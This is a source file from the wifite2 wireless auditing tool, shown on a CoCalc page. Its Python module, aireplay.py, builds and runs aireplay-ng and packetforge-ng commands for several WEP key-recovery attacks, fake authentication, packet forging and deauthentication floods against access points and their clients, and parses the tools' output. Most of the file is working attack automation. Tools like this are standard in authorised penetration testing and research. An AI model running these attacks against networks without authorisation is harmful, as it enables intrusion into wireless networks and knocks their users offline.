Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
derv82
GitHub Repository: derv82/wifite2
Path: blob/master/wifite/tools/aireplay.py
412 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
from .dependency import Dependency
5
from ..config import Configuration
6
from ..util.process import Process
7
from ..util.timer import Timer
8
9
import os, time, re
10
from threading import Thread
11
12
class WEPAttackType(object):
13
''' Enumeration of different WEP attack types '''
14
fakeauth = 0
15
replay = 1
16
chopchop = 2
17
fragment = 3
18
caffelatte = 4
19
p0841 = 5
20
hirte = 6
21
forgedreplay = 7
22
23
def __init__(self, var):
24
'''
25
Sets appropriate attack name/value given an input.
26
Args:
27
var - Can be a string, number, or WEPAttackType object
28
This object's name & value is set depending on var.
29
'''
30
self.value = None
31
self.name = None
32
if type(var) is int:
33
for (name,value) in WEPAttackType.__dict__.items():
34
if type(value) is int:
35
if value == var:
36
self.name = name
37
self.value = value
38
return
39
raise Exception('Attack number %d not found' % var)
40
elif type(var) is str:
41
for (name,value) in WEPAttackType.__dict__.items():
42
if type(value) is int:
43
if name == var:
44
self.name = name
45
self.value = value
46
return
47
raise Exception('Attack name %s not found' % var)
48
elif type(var) == WEPAttackType:
49
self.name = var.name
50
self.value = var.value
51
else:
52
raise Exception('Attack type not supported')
53
54
def __str__(self):
55
return self.name
56
57
58
class Aireplay(Thread, Dependency):
59
dependency_required = True
60
dependency_name = 'aireplay-ng'
61
dependency_url = 'https://www.aircrack-ng.org/install.html'
62
63
def __init__(self, target, attack_type, client_mac=None, replay_file=None):
64
'''
65
Starts aireplay process.
66
Args:
67
target - Instance of Target object, AP to attack.
68
attack_type - str, e.g. 'fakeauth', 'arpreplay', etc.
69
client_mac - MAC address of an associated client.
70
'''
71
super(Aireplay, self).__init__() # Init the parent Thread
72
73
self.target = target
74
self.output_file = Configuration.temp('aireplay_%s.output' % attack_type)
75
self.attack_type = WEPAttackType(attack_type).value
76
self.error = None
77
self.status = None
78
self.cmd = Aireplay.get_aireplay_command(self.target,
79
attack_type,
80
client_mac=client_mac,
81
replay_file=replay_file)
82
self.pid = Process(self.cmd,
83
stdout=open(self.output_file, 'a'),
84
stderr=Process.devnull(),
85
cwd=Configuration.temp())
86
self.start()
87
88
def is_running(self):
89
return self.pid.poll() is None
90
91
def stop(self):
92
''' Stops aireplay process '''
93
if hasattr(self, 'pid') and self.pid and self.pid.poll() is None:
94
self.pid.interrupt()
95
96
def get_output(self):
97
''' Returns stdout from aireplay process '''
98
return self.stdout
99
100
def run(self):
101
self.stdout = ''
102
self.xor_percent = '0%'
103
while self.pid.poll() is None:
104
time.sleep(0.1)
105
if not os.path.exists(self.output_file): continue
106
# Read output file & clear output file
107
with open(self.output_file, 'r+') as fid:
108
lines = fid.read()
109
self.stdout += lines
110
fid.seek(0)
111
fid.truncate()
112
113
if Configuration.verbose > 1 and lines.strip() != '':
114
from ..util.color import Color
115
Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n '))
116
117
for line in lines.split('\n'):
118
line = line.replace('\r', '').strip()
119
if line == '': continue
120
if 'Notice: got a deauth/disassoc packet' in line:
121
self.error = 'Not associated (needs fakeauth)'
122
123
if self.attack_type == WEPAttackType.fakeauth:
124
# Look for fakeauth status. Potential Output lines:
125
# (START): 00:54:58 Sending Authentication Request (Open System)
126
if 'Sending Authentication Request ' in line:
127
self.status = None # Reset
128
# (????): Please specify an ESSID (-e).
129
elif 'Please specify an ESSID' in line:
130
self.status = None
131
# (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds)
132
elif 'Got a deauthentication packet!' in line:
133
self.status = False
134
# (PASS): 20:17:25 Association successful :-) (AID: 1)
135
# (PASS): 20:18:55 Reassociation successful :-) (AID: 1)
136
elif 'association successful :-)' in line.lower():
137
self.status = True
138
elif self.attack_type == WEPAttackType.chopchop:
139
# Look for chopchop status. Potential output lines:
140
141
# (START) Read 178 packets...
142
read_re = re.compile(r'Read (\d+) packets')
143
matches = read_re.match(line)
144
if matches:
145
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
146
147
# Sent 1912 packets, current guess: 70...
148
sent_re = re.compile(r'Sent (\d+) packets, current guess: (\w+)...')
149
matches = sent_re.match(line)
150
if matches:
151
self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2))
152
153
# (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms
154
offset_re = re.compile(r'Offset.*\(\s*(\d+%) done\)')
155
matches = offset_re.match(line)
156
if matches:
157
self.xor_percent = matches.group(1)
158
self.status = 'Generating .xor (%s)...' % self.xor_percent
159
160
# (DONE) Saving keystream in replay_dec-0516-202246.xor
161
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
162
matches = saving_re.match(line)
163
if matches:
164
self.status = matches.group(1)
165
166
# (ERROR) fakeauth required
167
if 'try running aireplay-ng in authenticated mode' in line:
168
self.status = 'fakeauth is required and you are not authenticated'
169
170
elif self.attack_type == WEPAttackType.fragment:
171
# Parse fragment output, update self.status
172
173
# (START) Read 178 packets...
174
read_re = re.compile(r'Read (\d+) packets')
175
matches = read_re.match(line)
176
if matches:
177
self.status = 'Waiting for packet (read %s)...' % matches.group(1)
178
179
# 01:08:15 Waiting for a data packet...
180
if 'Waiting for a data packet' in line:
181
self.status = 'waiting for packet'
182
183
# Read 207 packets...
184
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
185
matches = trying_re.match(line)
186
if matches:
187
self.status = 'trying to get %sb of a keystream' % matches.group(1)
188
189
# 01:08:17 Sending fragmented packet
190
if 'Sending fragmented packet' in line:
191
self.status = 'sending packet'
192
193
# 01:08:37 Still nothing, trying another packet...
194
if 'Still nothing, trying another packet' in line:
195
self.status = 'sending another packet'
196
197
# XX:XX:XX Trying to get 1500 bytes of a keystream
198
trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream')
199
matches = trying_re.match(line)
200
if matches:
201
self.status = 'trying to get %sb of a keystream' % matches.group(1)
202
203
# XX:XX:XX Got RELAYED packet!!
204
if 'Got RELAYED packet' in line:
205
self.status = 'got relayed packet'
206
207
# XX:XX:XX That's our ARP packet!
208
if 'Thats our ARP packet' in line:
209
self.status = 'relayed packet was our'
210
211
# XX:XX:XX Saving keystream in fragment-0124-161129.xor
212
saving_re = re.compile(r'Saving keystream in (.*\.xor)')
213
matches = saving_re.match(line)
214
if matches:
215
self.status = 'saving keystream to %s' % matches.group(1)
216
217
# XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
218
219
else: # Replay, forged replay, etc.
220
# Parse Packets Sent & PacketsPerSecond. Possible output lines:
221
# Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
222
# Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps)
223
read_re = re.compile(r'Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)')
224
matches = read_re.match(line)
225
if matches:
226
pps = matches.group(5)
227
if pps == '0':
228
self.status = 'Waiting for packet...'
229
else:
230
self.status = 'Replaying @ %s/sec' % pps
231
pass
232
233
def __del__(self):
234
self.stop()
235
236
@staticmethod
237
def get_aireplay_command(target, attack_type,
238
client_mac=None, replay_file=None):
239
'''
240
Generates aireplay command based on target and attack type
241
Args:
242
target - Instance of Target object, AP to attack.
243
attack_type - int, str, or WEPAttackType instance.
244
client_mac - MAC address of an associated client.
245
replay_file - .Cap file to replay via --arpreplay
246
'''
247
248
# Interface is required at this point
249
Configuration.initialize()
250
if Configuration.interface is None:
251
raise Exception('Wireless interface must be defined (-i)')
252
253
cmd = ['aireplay-ng']
254
cmd.append('--ignore-negative-one')
255
256
if client_mac is None and len(target.clients) > 0:
257
# Client MAC wasn't specified, but there's an associated client. Use that.
258
client_mac = target.clients[0].station
259
260
# type(attack_type) might be str, int, or WEPAttackType.
261
# Find the appropriate attack enum.
262
attack_type = WEPAttackType(attack_type).value
263
264
if attack_type == WEPAttackType.fakeauth:
265
cmd.extend([
266
'--fakeauth', '30', # Fake auth every 30 seconds
267
'-Q', # Send re-association packets
268
'-a', target.bssid
269
])
270
if target.essid_known:
271
cmd.extend(['-e', target.essid])
272
elif attack_type == WEPAttackType.replay:
273
cmd.extend([
274
'--arpreplay',
275
'-b', target.bssid,
276
'-x', str(Configuration.wep_pps)
277
])
278
if client_mac:
279
cmd.extend(['-h', client_mac])
280
281
elif attack_type == WEPAttackType.chopchop:
282
cmd.extend([
283
'--chopchop',
284
'-b', target.bssid,
285
'-x', str(Configuration.wep_pps),
286
#'-m', '60', # Minimum packet length (bytes)
287
#'-n', '82', # Maximum packet length
288
'-F' # Automatically choose first packet
289
])
290
if client_mac:
291
cmd.extend(['-h', client_mac])
292
293
elif attack_type == WEPAttackType.fragment:
294
cmd.extend([
295
'--fragment',
296
'-b', target.bssid,
297
'-x', str(Configuration.wep_pps),
298
'-m', '100', # Minimum packet length (bytes)
299
'-F' # Automatically choose first packet
300
])
301
if client_mac:
302
cmd.extend(['-h', client_mac])
303
304
elif attack_type == WEPAttackType.caffelatte:
305
if len(target.clients) == 0:
306
# Unable to carry out caffe-latte attack
307
raise Exception('Client is required for caffe-latte attack')
308
cmd.extend([
309
'--caffe-latte',
310
'-b', target.bssid,
311
'-h', target.clients[0].station
312
])
313
314
elif attack_type == WEPAttackType.p0841:
315
cmd.extend([
316
'--arpreplay',
317
'-b', target.bssid,
318
'-c', 'ff:ff:ff:ff:ff:ff',
319
'-x', str(Configuration.wep_pps),
320
'-F', # Automatically choose first packet
321
'-p', '0841'
322
])
323
if client_mac:
324
cmd.extend(['-h', client_mac])
325
326
elif attack_type == WEPAttackType.hirte:
327
if client_mac is None:
328
# Unable to carry out hirte attack
329
raise Exception('Client is required for hirte attack')
330
cmd.extend([
331
'--cfrag',
332
'-h', client_mac
333
])
334
elif attack_type == WEPAttackType.forgedreplay:
335
if client_mac is None or replay_file is None:
336
raise Exception('Client_mac and Replay_File are required for arp replay')
337
cmd.extend([
338
'--arpreplay',
339
'-b', target.bssid,
340
'-h', client_mac,
341
'-r', replay_file,
342
'-F', # Automatically choose first packet
343
'-x', str(Configuration.wep_pps)
344
])
345
else:
346
raise Exception('Unexpected attack type: %s' % attack_type)
347
348
cmd.append(Configuration.interface)
349
return cmd
350
351
@staticmethod
352
def get_xor():
353
''' Finds the last .xor file in the directory '''
354
xor = None
355
for fil in os.listdir(Configuration.temp()):
356
if fil.startswith('replay_') and fil.endswith('.xor') or \
357
fil.startswith('fragment-') and fil.endswith('.xor'):
358
xor = fil
359
return xor
360
361
@staticmethod
362
def forge_packet(xor_file, bssid, station_mac):
363
''' Forges packet from .xor file '''
364
forged_file = 'forged.cap'
365
cmd = [
366
'packetforge-ng',
367
'-0',
368
'-a', bssid, # Target MAC
369
'-h', station_mac, # Client MAC
370
'-k', '192.168.1.2', # Dest IP
371
'-l', '192.168.1.100', # Source IP
372
'-y', xor_file, # Read PRNG from .xor file
373
'-w', forged_file, # Write to
374
Configuration.interface
375
]
376
377
cmd = '"%s"' % '" "'.join(cmd)
378
(out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True)
379
if out.strip() == 'Wrote packet to: %s' % forged_file:
380
return forged_file
381
else:
382
from ..util.color import Color
383
Color.pl('{!} {R}failed to forge packet from .xor file{W}')
384
Color.pl('output:\n"%s"' % out)
385
return None
386
387
@staticmethod
388
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2):
389
num_deauths = num_deauths or Configuration.num_deauths
390
deauth_cmd = [
391
'aireplay-ng',
392
'-0', # Deauthentication
393
str(num_deauths),
394
'--ignore-negative-one',
395
'-a', target_bssid, # Target AP
396
'-D' # Skip AP detection
397
]
398
if client_mac is not None:
399
# Station-specific deauth
400
deauth_cmd.extend(['-c', client_mac])
401
if essid:
402
deauth_cmd.extend(['-e', essid])
403
deauth_cmd.append(Configuration.interface)
404
proc = Process(deauth_cmd)
405
while proc.poll() is None:
406
if proc.running_time() >= timeout:
407
proc.interrupt()
408
time.sleep(0.2)
409
410
@staticmethod
411
def fakeauth(target, timeout=5, num_attempts=3):
412
'''
413
Tries a one-time fake-authenticate with a target AP.
414
Params:
415
target (py.Target): Instance of py.Target
416
timeout (int): Time to wait for fakeuth to succeed.
417
num_attempts (int): Number of fakeauth attempts to make.
418
Returns:
419
(bool): True if fakeauth succeeds, otherwise False
420
'''
421
422
cmd = [
423
'aireplay-ng',
424
'-1', '0', # Fake auth, no delay
425
'-a', target.bssid,
426
'-T', str(num_attempts)
427
]
428
if target.essid_known:
429
cmd.extend(['-e', target.essid])
430
cmd.append(Configuration.interface)
431
fakeauth_proc = Process(cmd,
432
devnull=False,
433
cwd=Configuration.temp())
434
435
timer = Timer(timeout)
436
while fakeauth_proc.poll() is None and not timer.ended():
437
time.sleep(0.1)
438
if fakeauth_proc.poll() is None or timer.ended():
439
fakeauth_proc.interrupt()
440
return False
441
output = fakeauth_proc.stdout()
442
return 'association successful' in output.lower()
443
444
if __name__ == '__main__':
445
t = WEPAttackType(4)
446
print(t.name, type(t.name), t.value)
447
t = WEPAttackType('caffelatte')
448
print(t.name, type(t.name), t.value)
449
450
t = WEPAttackType(t)
451
print(t.name, type(t.name), t.value)
452
453
454